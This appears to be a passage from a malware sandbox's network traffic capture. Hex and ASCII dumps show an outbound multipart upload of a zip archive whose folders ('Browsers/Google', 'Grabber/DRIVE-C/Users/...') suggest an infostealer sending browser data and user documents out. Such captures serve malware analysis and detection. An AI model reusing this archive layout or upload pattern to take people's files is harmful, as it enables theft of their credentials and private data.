2023-04-04 14:43:15 UTC	3	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 33 35 32 62 61 65 37 35 38 32 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 61 6c 66 6f 6e 73 40 32 38 34 39 39 32 5f 65 6e 2d 55 53 2e 7a 69 70 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a Data Ascii: -----------------------8db352bae7582a8Content-Disposition: form-data; name="file"; filename="user@284992_en-US.zip"Content-Type: application/octet-stream
2023-04-04 14:43:15 UTC	3	OUT	Data Raw: 50 4b 03 04 14 00 00 08 00 00 42 85 84 56 00 00 00 00 00 00 00 00 00 00 00 00 09 00 24 00 42 72 6f 77 73 65 72 73 2f 0a 00 20 00 00 00 00 00 01 00 18 00 9b 97 da 0f 4f 67 d9 01 9b 97 da 0f 4f 67 d9 01 bf 84 c7 0f 4f 67 d9 01 50 4b 03 04 14 00 00 08 00 00 42 85 84 56 00 00 00 00 00 00 00 00 00 00 00 00 10 00 24 00 42 72 6f 77 73 65 72 73 2f 47 6f 6f 67 6c 65 2f 0a 00 20 00 00 00 00 00 01 00 18 00 9b 97 da 0f 4f 67 d9 01 9b 97 da 0f 4f 67 d9 01 9b 97 da 0f 4f 67 d9 01 50 4b 03 04 14 00 00 08 00 00 46 85 84 56 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 24 00 44 69 72 65 63 74 6f 72 69 65 73 2f 0a 00 20 00 00 00 00 00 01 00 18 00 cc 99 ad 14 4f 67 d9 01 cc 99 ad 14 4f 67 d9 01 a1 bd a6 11 4f 67 d9 01 50 4b 03 04 14 00 01 08 08 00 44 85 84 56 21 b4 3c 34 69 01 Data Ascii: PKBV$Browsers/ OgOgOgPKBV$Browsers/Google/ OgOgOgPKFV$Directories/ OgOgOgPKDV!<4i
2023-04-04 14:43:15 UTC	11	OUT	Data Raw: 98 75 9e 64 fd 11 2f ef c7 7e 45 db 6f a4 fb 76 c9 03 d5 7a 16 f0 c7 16 6d 3f 4b 9d f8 37 42 91 16 02 d6 37 f7 fd 6d 25 52 2e 71 79 2a ca 79 68 6a 33 5d 37 df f6 af fd a2 fe c3 6e c4 20 e1 18 5f e6 61 1e c0 ad fb c0 5e 62 18 be d7 1f 06 59 35 25 39 e6 91 e2 26 5e 87 d9 3a bb 33 c5 57 46 6a cd ca 69 81 8d 64 5e 99 dd 7f f0 27 3a e1 d3 66 dd d6 f1 83 b0 8f 67 31 32 52 cf f4 be ca a2 3b 2c 23 5e e3 d3 13 b1 4f 95 1e 75 d9 56 57 de 8e f6 e0 53 11 ab cc f1 da 2a 30 cd f8 bd 44 45 98 2e 88 de 2c 62 55 da 53 45 b2 7b 66 dc 8a 2b 51 07 26 1f c0 d9 89 d0 72 7d d7 76 b7 af 46 c2 5f 32 cd 50 56 33 1c 90 9c 14 24 50 4b 03 04 14 00 01 08 08 00 e7 7a 10 55 57 09 13 cd 8d 02 00 00 02 04 00 00 33 00 24 00 47 72 61 62 62 65 72 2f 44 52 49 56 45 2d 43 2f 55 73 65 72 73 2f Data Ascii: ud/~Eovzm?K7B7m%R.qyyhj3]7n _a^bY5%9&^:3WFjid^':fg12R;,#^OuVWS0DE.,bUSE{f+Q&r}vF_2PV3$PKzUW3$Grabber/DRIVE-C/Users/
2023-04-04 14:43:15 UTC	19	OUT	Data Raw: bc 67 ae b1 d7 b2 ff 63 32 15 f5 f4 51 b1 94 5e 91 36 ba fa 27 37 0a ba 4b 32 14 87 85 4f 93 82 b4 ff 26 05 5f 9b 60 20 25 a8 7d 54 dd c8 73 2d 98 97 bf ac 60 be 70 a7 2c 1d a4 14 90 84 75 ce 78 5d a8 2c 38 59 9b e1 fb 31 1e 85 ec 6c 81 18 b5 f0 f1 5c 27 ae 8f b5 5b ad f8 e0 ef dd 7b c0 a9 63 3f 53 3a dc 65 fc b9 b7 9c 49 af ad ac 32 37 e8 fa c4 69 34 9c dc 20 5e fd 30 2c bd 3f fe 1c 71 ee b8 60 ae cf 19 cf 0c c2 1f 38 34 a1 df 7f bd b0 ac a2 a3 0d 31 a0 68 ec 73 d8 90 b0 6c 90 c3 dd bc cb bf 01 67 4b ee d7 24 63 82 21 72 41 00 b3 5c 93 4b 27 b6 4a f1 0c 2e 64 76 5d a9 0e 2b a4 c4 32 4b 66 9c e8 3f 64 df 82 47 25 f1 fe 70 32 7f 51 bc 95 14 cd 20 75 bb 66 c4 5d 54 60 6c 61 2a 52 9e fd aa 71 1b 5a a8 e4 fe 52 40 ad 82 30 ba be db 04 0d 16 c8 cb 3c 12 e2 3f Data Ascii: gc2Q^6'7K2O&_` %}Ts-`p,ux],8Y1l\'[{c?S:eI27i4 ^0,?q`841hslgK$c!rA\K'J.dv]+2Kf?dG%p2Q uf]T`la*RqZR@0<?
2023-04-04 14:43:15 UTC	27	OUT	Data Raw: 49 5f 0a 01 6a 24 91 49 83 96 4f 77 12 09 9e da de 26 cf ad ff f8 6e e2 76 bf 52 f9 79 f0 c2 79 8d c8 23 d1 8e 06 53 61 d0 3f 17 93 8a 54 f9 69 7a 69 b2 a6 c8 bb 98 dc 10 6d d7 78 5c aa 08 0e a8 bd 25 ba 54 bc dc 25 54 11 55 2f c7 88 74 bf 2f 01 36 bb 52 0e 3d 1d 3f c7 1d e5 30 0c 32 cd cd a3 aa 24 a3 a2 85 71 32 13 cd f7 61 04 29 0d 24 4a 44 82 94 b7 5e f7 d3 09 d8 2d 64 af d3 78 66 33 65 d2 0a d0 cc dd aa 6c b8 7c df df 85 56 ac 9a fb be e0 eb cf 99 95 1d 89 22 5d a0 74 da 3e a8 45 ff 6f 68 ee 19 0a 9f 30 8c 1f 94 00 da 50 ac 1c cc 36 eb dc dc 5e b7 f6 e7 13 58 e3 d2 22 f8 8d 44 47 10 1e 32 0f 55 9e 25 a0 da 8e 4f ad 46 a0 52 b0 62 fc 67 52 9e af 1e d0 fa e6 59 56 2e 91 b3 56 a9 2c cc 74 b9 fe cf b7 27 6a b5 d4 5c bc 6c b7 92 1c b3 90 b0 8d 79 00 43 a4 Data Ascii: I_j$IOw&nvRyy#Sa?Tizimx\%T%TU/t/6R=?02$q2a)$JD^-dxf3el\|V"]t>Eoh0P6^X"DG2U%OFRbgRYV.V,t'j\lyC
2023-04-04 14:43:15 UTC	35	OUT	Data Raw: 12 39 13 6e 4f 25 d6 f0 db 16 59 1b 6b e7 2f 1f 4c 43 b2 77 d5 e2 b0 de 92 5c af d0 4b fe b3 21 54 c3 2b 60 bf 57 6c 82 06 21 9a 9f 59 f4 47 55 b4 2b 21 83 cd 42 32 ea 15 0c 43 e8 27 98 1a 9a fd 08 72 cd fd 1d 88 3c 51 85 e6 57 29 39 fa 06 cf 91 91 48 12 3d a4 37 e2 e6 ed 71 f8 d6 c8 98 c9 f3 26 db 21 54 c6 e3 9b 1c aa f8 64 f1 25 ad 2e 41 aa 3f 20 2a be 61 67 b0 c9 0e 91 5f 7e 67 cc a8 36 2d e0 74 b9 db 18 08 4b 43 ac 43 cc d2 d4 d0 16 b0 64 44 a3 9d 43 06 2f 7d 27 4a 82 db ff 83 4c 43 80 e6 f3 95 57 8e 17 bc 95 4f 0b 2c b6 e4 62 8d 45 50 4b 03 04 14 00 01 08 08 00 e7 7a 10 55 02 8b 57 0e 8e 02 00 00 02 04 00 00 36 00 24 00 47 72 61 62 62 65 72 2f 44 52 49 56 45 2d 43 2f 55 73 65 72 73 2f 61 6c 66 6f 6e 73 2f 44 6f 63 75 6d 65 6e 74 73 2f 4e 49 4b 48 51 Data Ascii: 9nO%Yk/LCw\K!T+`Wl!YGU+!B2C'r<QW)9H=7q&!Td%.A? *ag_~g6-tKCCdDC/}'JLCWO,bEPKzUW6$Grabber/DRIVE-C/Users/user/Documents/NIKHQ
2023-04-04 14:43:15 UTC	43	OUT	Data Raw: bf e1 a1 f3 a5 24 d5 ff d8 60 65 93 72 b0 8b d3 8e 5f 06 14 2f fc 1a b0 6e b0 e9 7e a7 38 f2 f6 fc 23 81 b5 07 8f af 7c 82 36 b6 69 45 77 98 89 f8 d9 29 30 24 ca 2b 49 ee 9a ab 4d bf 2e 69 f0 2b cf 1d 97 0f 95 4b d9 d3 d5 4e 53 fb bb b7 59 c4 52 98 52 2f 96 50 7b 6f 80 35 68 b0 6a 73 e6 79 1e 00 9f 5a 52 e7 e9 81 16 68 e6 51 43 33 90 0f f9 4f d3 26 b2 e3 bf 09 c4 6a 8e 8d 3f 2a 2b 2a 7b 26 ce aa aa 84 02 88 8f 75 4a 98 22 58 e1 50 81 20 40 57 ae 2d 0a 7f 74 e4 19 83 50 29 77 eb 55 b9 ad d3 73 2d a2 31 08 94 18 2a a3 fb 7a ad 77 ec a9 df 02 8c 10 fe d2 74 11 eb d8 37 18 dd e6 b5 da a9 33 93 a2 1f ee d3 00 e5 3e fa a2 d8 45 8c ac ff 10 7e 72 11 e5 fd a5 b8 23 85 4e 87 bc 58 2f 0d d7 7f 7d 47 13 d8 31 57 a8 78 9b 3c 6d 4f 3a 89 de 05 8f ef 1a 09 9b a2 c4 ce Data Ascii: $`er_/n~8#\|6iEw)0$+IM.i+KNSYRR/P{o5hjsyZRhQC3O&j?+{&uJ"XP @W-tP)wUs-1*zwt73>E~r#NX/}G1Wx<mO:
2023-04-04 14:43:15 UTC	51	OUT	Data Raw: 80 a4 e5 6f 0b c4 79 82 45 ec db 69 46 79 f3 1c 33 c2 22 9a 29 27 0c 96 2f cb 2e 95 7e 6f 2a 86 06 99 a6 76 59 5d 15 cd bc f5 45 76 ea 80 f0 65 19 cc 1f 86 2d 60 f5 1d 22 4d ac 7d de e6 93 f6 18 d5 26 63 ef b3 c1 33 0e 7b 3e 37 31 16 0f 98 7a 33 07 f7 03 97 86 9b c6 3a d5 94 ea f9 a4 fb 52 7c 8e 69 a3 92 f4 68 df c0 56 48 c4 d4 47 75 4f c4 06 b6 b4 62 82 8e cc 04 80 a8 52 64 75 ae 2b c5 7e 14 c6 60 b6 f6 7f ac aa 8b 64 b4 0a 85 eb e3 36 39 fb dd 0c 2e 4d ef 49 cb 09 2f b6 15 08 12 0f fe eb 8d b7 de f0 dd f0 34 8a 58 1c 42 31 53 ff 62 7c 30 6d 47 b7 c5 72 80 07 7a f2 0b cc d7 64 01 04 63 6f 07 48 61 fd a3 96 23 a1 96 86 56 38 58 23 6a 8d 1b 11 d5 dd ac 01 a8 a9 e4 a2 78 ee a0 02 c9 13 cf 35 be 26 19 e0 f5 7a 91 3c 28 aa 88 fe 4a 54 75 ab 42 ac e0 3e 92 43 Data Ascii: oyEiFy3")'/.~o*vY]Eve-`"M}&c3{>71z3:R\|ihVHGuObRdu+~`d69.MI/4XB1Sb\|0mGrzdcoHa#V8X#jx5&z<(JTuB>C
2023-04-04 14:43:15 UTC	59	OUT	Data Raw: ae 72 5d b1 dc 54 c4 8e 22 1d a4 0e 5d 30 57 81 7b 33 fb 22 b1 a9 0f 58 47 a0 19 2c a0 aa d4 34 0f d7 b9 13 b7 41 69 c4 e8 5f 48 1c 86 d8 13 86 ff b8 15 ca 76 1c 9a 00 bb 4f fb 00 46 9f 4b 16 8c 02 8d 3b d9 7c a0 64 10 a5 86 37 28 80 b6 dc ee c3 2e e2 b1 07 e4 e8 d5 c5 09 e1 46 36 aa 9d d3 8a 9c 6f 81 a8 ee 5c 7c 92 8c 67 4e 36 7e c2 a3 fe 35 5c 22 a6 76 73 78 9d d2 bf 7d 55 54 b1 69 52 74 e9 ee 94 ce 11 e0 60 c3 5f 87 c7 dd 32 21 c3 12 75 a4 8f 55 1d a5 59 2b 75 74 3e a7 e3 1f 30 2a b0 38 25 70 c1 25 e2 89 11 60 27 0a 4b 18 a5 af 19 9c 35 17 25 95 90 c0 4c 07 4a 49 42 a4 31 ec 67 81 9e e0 de 0d 6f d0 b3 58 87 7e 55 fc b3 63 22 7e 6e f0 aa 75 50 4b 03 04 14 00 01 08 08 00 e7 7a 10 55 02 8b 57 0e 8e 02 00 00 02 04 00 00 36 00 24 00 47 72 61 62 62 65 72 2f Data Ascii: r]T"]0W{3"XG,4Ai_HvOFK;\|d7(.F6o\\|gN6~5\"vsx}UTiRt`_2!uUY+ut>0*8%p%`'K5%LJIB1goX~Uc"~nuPKzUW6$Grabber/
2023-04-04 14:43:15 UTC	67	OUT	Data Raw: f8 e6 8f f4 8e 7d 7e 36 66 8b b1 ca d1 bf 96 82 42 39 9f cd 18 27 60 ea 84 e8 72 81 af bd 8b 3b 36 77 69 4f 18 e3 be 35 c7 9c e7 a6 87 55 ca 6b 5b 12 21 51 b4 fd 3d 46 b6 3a c0 76 78 ee 07 5b 7b 52 44 04 ed c5 df 57 e1 2c df e7 68 5a 4d c7 6d cf de 22 db 6d bc 7f 1c 0c 2e 8f f9 85 bc 47 ab 61 39 1d 61 51 36 39 1c e6 ae 51 76 1f 9a 41 6c a6 1a d4 e7 d8 ad 2c 76 21 a6 01 1d e6 c0 85 d2 37 56 4a 27 f3 e1 ad 26 70 1f 37 af 12 0d 02 d0 0c f2 80 27 ee 0d 2b 26 ec f2 d8 5a 80 24 c6 04 a2 8b 4f 4c b9 85 e7 68 ca 03 39 f4 64 9e ee 62 60 d0 2d 4e d7 ee 2c bd 16 00 15 61 21 38 63 74 7e e8 89 f6 cb 9f 7f 0f 00 21 0b 53 39 d9 4b ee 84 c8 14 9a 59 26 d9 ab a8 d2 1c 0c 7c 3c 71 33 69 c9 b3 31 7b d3 0f 8a ee ad b8 a8 97 21 aa 4b be 49 02 01 2d da 04 d3 b5 5a 88 5d 15 75 Data Ascii: }~6fB9'`r;6wiO5Uk[!Q=F:vx[{RDW,hZMm"m.Ga9aQ69QvAl,v!7VJ'&p7'+&Z$OLh9db`-N,a!8ct~!S9KY&\|<q3i1{!KI-Z]u
2023-04-04 14:43:15 UTC	75	OUT	Data Raw: 66 a7 fe cf 9c f8 53 ee d4 cf 60 73 90 e0 a7 03 46 a0 58 0d f5 75 63 2a a6 3d ea 8c 47 9e 2e d4 d9 f6 81 fa 03 a4 64 78 2f 6c cd a7 95 1b 1c 49 b9 bd e8 6d cc 6b ca 38 45 9b 90 42 af 1e 36 00 1d ec ca c8 c9 ce 5c 08 b2 f6 85 14 00 3f d7 9b 1c ff ef f0 9e 0e f6 13 b8 f9 e7 e6 87 3f c8 90 ad 7f 7e 42 2e da d7 77 a8 42 63 4e df 22 58 bc e3 1f b9 74 e1 bc 09 2a 1f f4 0b 42 97 1e 9b b6 63 cc 39 d3 53 7f 8b 7e 94 65 3d 85 12 4f aa 2c 22 9c 20 0a 86 a1 38 f5 d3 e5 90 b9 c7 89 6f 35 9b ef 9a d9 cd 52 4d ac 93 97 0e c3 6a 85 6e 6b 42 1e 11 b8 6d 86 09 f1 4f 6b fc d5 3a f4 13 3b 7e f9 36 8f 29 20 9a 6a f5 2e 43 16 bd 94 20 7e a5 ee df 85 0b 6d da c6 7a a3 d3 56 05 09 22 54 df 51 50 f1 49 f0 6a ce ed 59 43 b5 b5 48 c1 de 28 34 56 c2 af 05 8f 8b af 2b 2c a1 de af 2b Data Ascii: fS`sFXuc=G.dx/lImk8EB6\??~B.wBcN"XtBc9S~e=O," 8o5RMjnkBmOk:;~6) j.C ~mzV"TQPIjYCH(4V+,+
2023-04-04 14:43:15 UTC	83	OUT	Data Raw: 58 14 fa 7f 0f 22 a7 d3 fb 78 9a 49 07 cb 94 39 9d 1b 78 8b 56 ec 75 b0 47 86 91 4f 8f 42 05 6a 5b 33 84 0f 99 32 d8 3c 0a 06 bf bc 2d fd 5a 4f 38 5c 94 2b 24 26 b2 60 b5 b3 36 c0 f4 63 c6 c4 70 8a 3e bc f1 53 7d 87 7c 36 d7 1f 36 11 ab a1 c0 28 4f 02 4f 68 7e f5 6e 07 78 ba db 05 f0 a8 4a 6b 9a 45 c4 f8 e8 d9 37 b0 76 62 ef a1 7e 01 a5 5c 87 1c a8 55 a5 54 bb 7d 11 0f 46 04 29 d7 ec 68 6c c5 78 b9 fe f7 3a d4 f6 77 bc d1 8c 78 23 c6 c9 74 a7 5b 82 d8 28 b1 4e d1 bb c8 2b 8b 4a f3 f6 4e dd 7a 48 da db fa 35 14 c8 43 fd 85 b2 df f9 e6 82 ca 32 72 00 1f 59 ec f2 0c 31 47 7f a9 b4 91 f5 21 8c 10 59 f3 51 0a 6a 47 c0 fe 58 d5 94 ad dd 27 a7 0a 15 16 fd 11 3e 60 2e db fb c0 82 47 63 d7 53 3a 1c b3 3c 5b 38 97 52 e8 6e 4b 60 fb 76 a0 94 a9 ff f4 6d b5 78 c5 e3 Data Ascii: X"xI9xVuGOBj[32<-ZO8\+$&`6cp>S}\|66(OOh~nxJkE7vb~\UT}F)hlx:wx#t[(N+JNzH5C2rY1G!YQjGX'>`.GcS:<[8RnK`vmx
2023-04-04 14:43:15 UTC	91	OUT	Data Raw: 09 79 f8 67 ce 2e b0 10 3c 8c 50 29 98 9f d5 be 5c 35 8d f8 7f b7 e3 5d 9f b9 2d ba ba 78 8f 11 f0 2b 05 87 ee af 01 e6 53 25 68 91 85 c3 68 b0 0d ae 7d 8e 42 5c 6c b3 3c 2b 19 a9 df e5 e3 1b f4 1d 9b f7 52 df 70 ed 40 42 26 62 c3 a9 61 fc 2d 85 af 9c b4 e4 b5 1e 50 ae ff 31 91 40 cd c6 0d 92 65 db c2 e2 51 2f 8d 12 fb 89 b4 27 20 0a e9 27 2e d4 c1 98 5d df 43 85 28 1c 95 df 03 0c 96 40 8e 59 d5 19 ea 9a 59 c9 e9 43 22 33 14 6f 84 3f 21 54 78 91 5a c1 98 74 a2 08 bb b5 61 d8 c0 7a c9 4a cb 4b cf 0f cb bc 63 40 66 f1 d4 e8 75 7e 76 ad df 76 71 19 e3 d9 47 64 08 1f 97 16 ba c7 0a e2 91 54 9f 9a 70 3b 0e 15 8b f1 ea 47 66 8c 76 73 10 dd 6d d2 4a 26 73 64 af 2b d6 57 aa 6f e9 60 80 ee ed 27 57 96 ce 7e 1f 39 20 2e 55 45 9e 1e 8e 14 b7 d6 f0 97 21 f9 04 41 d9 Data Ascii: yg.<P)\5]-x+S%hh}B\l<+Rp@B&ba-P1@eQ/' '.]C(@YYC"3o?!TxZtazJKc@fu~vvqGdTp;GfvsmJ&sd+Wo`'W~9 .UE!A
2023-04-04 14:43:15 UTC	99	OUT	Data Raw: 78 5e 65 18 a3 a2 78 60 c6 b4 19 e5 02 94 6c 14 db 5c 0c 1e 67 f1 19 23 26 66 87 b4 03 d5 d1 66 e4 44 0d 0c e5 c0 6f bd 50 00 f2 a5 f2 dd 37 1a ee 84 d1 16 4b 08 53 63 fb 90 fd 12 a6 9c 2f 87 5f ec 1c 35 ee dd 87 16 96 5f 76 ce 70 2a 20 bd 0b b2 29 2d 3b b0 79 d3 ba d4 86 fb 3b 60 36 55 ae 70 d4 7a 3a d2 c7 c1 b0 98 b4 9c 10 08 42 a7 d3 d2 82 cb e3 f8 13 50 f6 ce c2 f6 bf 18 77 56 3d 5e 07 e3 0f 7f 75 d1 bd 24 a5 a6 21 f3 21 e4 70 36 40 5e eb 28 59 b9 76 91 e4 f1 39 7d 55 fe 38 c1 72 ab b3 ba 4c 41 82 9d f8 e7 67 b2 18 0e 3a 88 5c 54 38 a9 43 92 e5 16 cc e7 e9 7f d8 87 89 a1 72 27 4c 15 3c bc 81 47 53 8f 9a 67 93 a9 44 0c a3 1d 22 a9 1e da 84 03 c7 4a f7 09 52 73 b9 23 f2 f4 ac 55 93 96 58 7b 96 de 4d 42 c6 a8 f2 f6 f8 21 17 b5 f6 ea 94 9d ba 4f 23 53 89 Data Ascii: x^ex`l\g#&ffDoP7KSc/_5_vp* )-;y;`6Upz:BPwV=^u$!!p6@^(Yv9}U8rLAg:\T8Cr'L<GSgD"JRs#UX{MB!O#S
2023-04-04 14:43:15 UTC	107	OUT	Data Raw: d9 d0 08 4a e4 04 d1 43 06 44 70 f8 28 85 c1 db 59 1e 95 c9 30 00 10 ef 9b 29 e1 f3 10 26 aa 5e 41 05 32 0f 21 08 da 4d 6a f6 1c 83 0a 15 d2 ce 3f 6f de b2 aa 2b d7 47 75 f8 a3 db 1c 07 71 d9 4c 69 42 13 cf 05 4a a5 ec 87 4f 4e 7a 3d e4 bc 61 e0 f9 93 8d 05 38 fa 6c c1 37 9d 62 6f bc b3 72 83 93 35 f8 d3 89 86 5c 77 21 0e 46 a0 d7 a8 9b 11 14 a7 ab 93 4c ed 61 e7 ad 9f 01 b9 b6 cd 06 e1 c0 fb df 36 a6 68 de 68 c6 e2 c0 24 1f 74 dd 69 a2 1c 89 e7 3d 78 c6 5b 2f 3e 49 a7 3b 9a 14 95 12 58 d0 97 fe d4 4a fc 48 3a cf 4c d2 3b 6c 2d 2c 0e d2 98 28 ab b7 e8 2d 9a 46 53 ca b8 d0 3a cf 0e e4 bb 89 79 d0 f4 f1 e6 9d 7e 02 c2 a1 9a 48 d9 87 7b 0a 89 e9 b5 f5 a5 1f 77 c1 c8 87 fe 47 09 df a0 bc 2b 8b 62 96 97 d5 fa 32 ee e9 54 d4 bd e3 42 b1 ce 9e ec 67 c5 fd 15 b5 Data Ascii: JCDp(Y0)&^A2!Mj?o+GuqLiBJONz=a8l7bor5\w!FLa6hh$ti=x[/>I;XJH:L;l-,(-FS:y~H{wG+b2TBg
2023-04-04 14:43:15 UTC	115	OUT	Data Raw: 8b 8a 60 8f c7 ee df 5e 9c 16 55 37 b9 0c 06 28 50 85 ac ab 28 b6 e2 b5 f2 74 22 65 2d 31 63 2a ed 96 e0 50 68 e9 01 d1 15 09 b0 38 d6 7d 06 ab 68 b7 ee 63 76 b7 0f 7e 11 bb 96 82 58 5a f3 f1 97 eb 25 d3 2d ff cf 6d 3c 50 a8 b7 6e 0a 67 41 df 8a da 94 3b a2 83 9d 08 2f 5f 8d d1 0c 7b 02 ce e4 71 95 aa 20 c3 62 99 67 64 62 34 55 d4 67 0c 63 b0 ad e2 33 31 53 03 d6 10 3f 94 6b c2 ae f5 1c eb 88 77 ae 08 18 88 dd 6a db 0a 2d 99 ec 58 f1 76 08 d5 9a 5a 4a 3f f9 e7 49 4f 45 e5 10 57 1d 9f 90 d4 a6 42 e7 c6 1e 5c 06 e3 03 3b 55 49 8c 9e b4 b1 43 cf 03 dd 4a 18 2a 14 6b a4 32 bd b2 70 2a 47 fe 45 ae af 9e 95 ec 86 21 90 56 db 17 b1 3c 0c d4 82 c7 96 42 65 b2 7c ef 0a 54 47 b5 c0 04 3d fe 41 78 0d 6d 55 03 c5 a6 42 b2 e8 b8 03 6c 9a e5 fc e7 a7 90 82 a4 5f 4d 0f Data Ascii: `^U7(P(t"e-1cPh8}hcv~XZ%-m<PngA;/_{q bgdb4Ugc31S?kwj-XvZJ?IOEWB\;UICJk2p*GE!V<Be\|TG=AxmUBl_M
2023-04-04 14:43:15 UTC	123	OUT	Data Raw: d6 d3 4b 88 c6 b5 42 07 77 f0 0f 89 9a f2 d7 41 78 e8 f2 83 75 68 5c 15 91 a2 83 72 c7 2f 25 1c 4f f4 7e 20 2f 69 d1 d7 d3 c6 cd 9b d8 e1 8f 09 5a 52 87 c6 8a cc b9 47 46 2e 0c ea 81 fc 4c 83 a2 12 b4 a4 dc 2d d0 0b f0 09 88 3a d1 93 52 9c 16 47 22 ba 11 37 d6 b0 f7 25 11 ce 3b 66 74 9f c1 19 ec b4 a8 84 c8 a4 14 df db 59 b2 1e 76 db 1c db ba 62 3d e6 69 3d 8a a3 a7 bf 3b be 14 12 d8 dc fd 23 6a a5 c8 39 32 5a f3 a4 21 9d f5 f4 98 2e 86 06 77 09 38 c0 9c 92 09 b6 8e b5 87 18 1f 22 6c ac 57 a1 e6 0d 7d de 04 46 c2 cd 16 a1 f5 58 98 29 2f 6d 52 a2 18 83 05 83 a9 eb 59 13 20 42 b5 26 86 14 92 d0 e2 7b 20 f3 8c 59 69 a9 aa 86 c3 70 12 fa 07 4c 7f f2 69 76 d8 81 76 96 f9 47 3e 66 9f 7b 59 1b 1a 0a 01 3a 56 c2 48 34 ac 83 b8 83 91 83 4f c7 9f 05 fe 40 6c 5f f6 Data Ascii: KBwAxuh\r/%O~ /iZRGF.L-:RG"7%;ftYvb=i=;#j92Z!.w8"lW}FX)/mRY B&{ YipLivvG>f{Y:VH4O@l_
2023-04-04 14:43:15 UTC	131	OUT	Data Raw: 34 84 c9 9b 34 bd 74 e1 5a 52 89 25 c6 5b 0a 40 a6 25 65 68 e3 ef 5d a3 9f 9f 6c 33 47 35 f5 ff 17 26 3a 6c d2 cc 03 1b f3 95 7b e1 86 31 f3 77 a8 81 a2 ff df a8 22 20 25 1b 98 f8 c4 82 3a 8f 8c f9 47 c4 96 76 cc 07 2a 3f 0d 8f 96 b2 d6 7c c8 ba 9e 3d b3 4d 39 3f 31 87 55 2f c5 72 2b 58 5c f2 2e b2 80 07 0b 93 62 b6 46 a4 0c dd 8e 4f 75 18 a7 f0 58 3a e4 a4 f8 01 f4 d3 9f 32 83 2d ce c1 29 5d 91 75 29 fe b9 87 b7 df 16 a3 4b 68 a8 22 c0 60 2f 26 88 b1 71 b0 1e 02 0d 3a 46 fe d8 9d c9 b1 e8 c3 96 06 24 f7 7d 61 06 ef 0f 26 c5 5c a1 ea 13 18 36 74 5b 47 44 ac e1 be ba 88 99 73 c1 89 30 45 86 b7 e4 fa b8 5b 78 b6 72 ed 09 07 86 fe ae 11 21 14 f4 f7 d2 a6 13 1a c1 ef a5 57 5c d0 3d 1e ff 36 ce 53 c3 c2 1d 07 54 23 d7 ce 41 74 2e c1 a3 cc 67 c1 74 7b 71 7c 45 Data Ascii: 44tZR%[@%eh]l3G5&:l{1w" %:Gv*?\|=M9?1U/r+X\.bFOuX:2-)]u)Kh"`/&q:F$}a&\6t[GDs0E[xr!W\=6ST#At.gt{q\|E
2023-04-04 14:43:15 UTC	139	OUT	Data Raw: fc 17 49 81 60 8c b7 44 0f 7d 11 f7 d0 b6 df 66 92 1d 67 d1 50 52 ae c7 fc bb bc aa bf c7 ff 76 d4 7d 3a 45 8f ef c2 7b da fc 7e c0 a7 04 45 37 83 f5 9d 63 9c 7e b3 17 52 9e 44 c6 4a 09 fb 05 e3 8c 8d 37 5b 71 96 20 c6 e4 ee 65 8c a3 cd 5d d6 3d 3b 1d ae c0 f1 88 fd 0d 67 78 12 c9 7d c9 fa ea e2 ab e8 aa 80 39 5c fa 8e 1d a9 a7 52 49 52 1f c9 d5 b3 30 17 9b c1 be 43 77 e8 eb 2d 51 f1 15 7e 1b ae 01 5c c7 fa 77 21 01 c9 a9 80 4e 05 25 ea ba 49 57 99 95 fb 69 48 80 3f ee dd e2 bd ce 83 7b b4 4d 40 3f a1 61 d3 a1 85 7d 84 6b fa 65 91 11 b9 f1 ee 7c 1c 91 89 5b 34 0d fe da 56 91 2b af f5 ec 75 31 38 84 7a 1e 0e 17 da f7 b5 8f b8 b2 c1 49 a6 b8 4d 7f ce ce 89 69 79 9a 5e 8d d1 48 5b 83 e6 64 4b 32 35 a9 97 f8 59 24 9c cc fb 3e 13 06 f3 ed f7 a2 db 33 10 67 81 Data Ascii: I`D}fgPRv}:E{~E7c~RDJ7[q e]=;gx}9\RIR0Cw-Q~\w!N%IWiH?{M@?a}ke\|[4V+u18zIMiy^H[dK25Y$>3g
2023-04-04 14:43:15 UTC	147	OUT	Data Raw: a4 eb 19 7c 3b 74 4f 4f 16 ea f2 6c 5d 8f 80 ca af fd d9 c1 fa d0 7d 18 e7 fa a5 c6 de 63 ec f0 28 8d 30 dc 51 e7 b3 2e a0 c8 b7 11 59 9f d2 ca c9 dc 55 84 6f 4b b5 2f a5 95 f5 05 65 fa 10 4a 69 80 b2 2d d9 3e 05 29 3e ff c4 e9 fe 68 79 88 79 23 9a 03 a8 ed 6a 22 b7 38 e4 6d 5e 46 fd 01 f8 5d b6 67 6c 05 f0 3d 33 ad 64 01 00 f6 69 45 4d 20 8b 9e d9 da ac 5e 67 71 44 5d d5 a4 2e 6c 0a 4c 49 b5 f0 15 f4 63 83 d1 5b 27 ef 06 7b 42 a9 42 4f d1 01 89 d5 c6 f0 39 ba 14 01 d8 31 bb 4b 83 35 98 a5 3d 38 e9 29 cb 2e ad 50 dd 18 44 84 b1 c7 78 76 cc c4 81 68 08 4b 56 fd 24 fc 76 70 10 74 51 b2 19 77 17 2e d5 de 91 f6 71 7c 9d c3 c8 24 d8 48 66 79 e2 ba 77 81 cc 5a 77 80 bd 0d e2 0d ef fb 89 f2 5b 50 20 a5 a5 2d 1f 35 5d c9 8e e8 72 2d 68 5d 1a 15 20 d5 bc 19 ac fd Data Ascii: \|;tOOl]}c(0Q.YUoK/eJi->)>hyy#j"8m^F]gl=3diEM ^gqD].lLIc['{BBO91K5=8).PDxvhKV$vptQw.q\|$HfywZw[P -5]r-h]
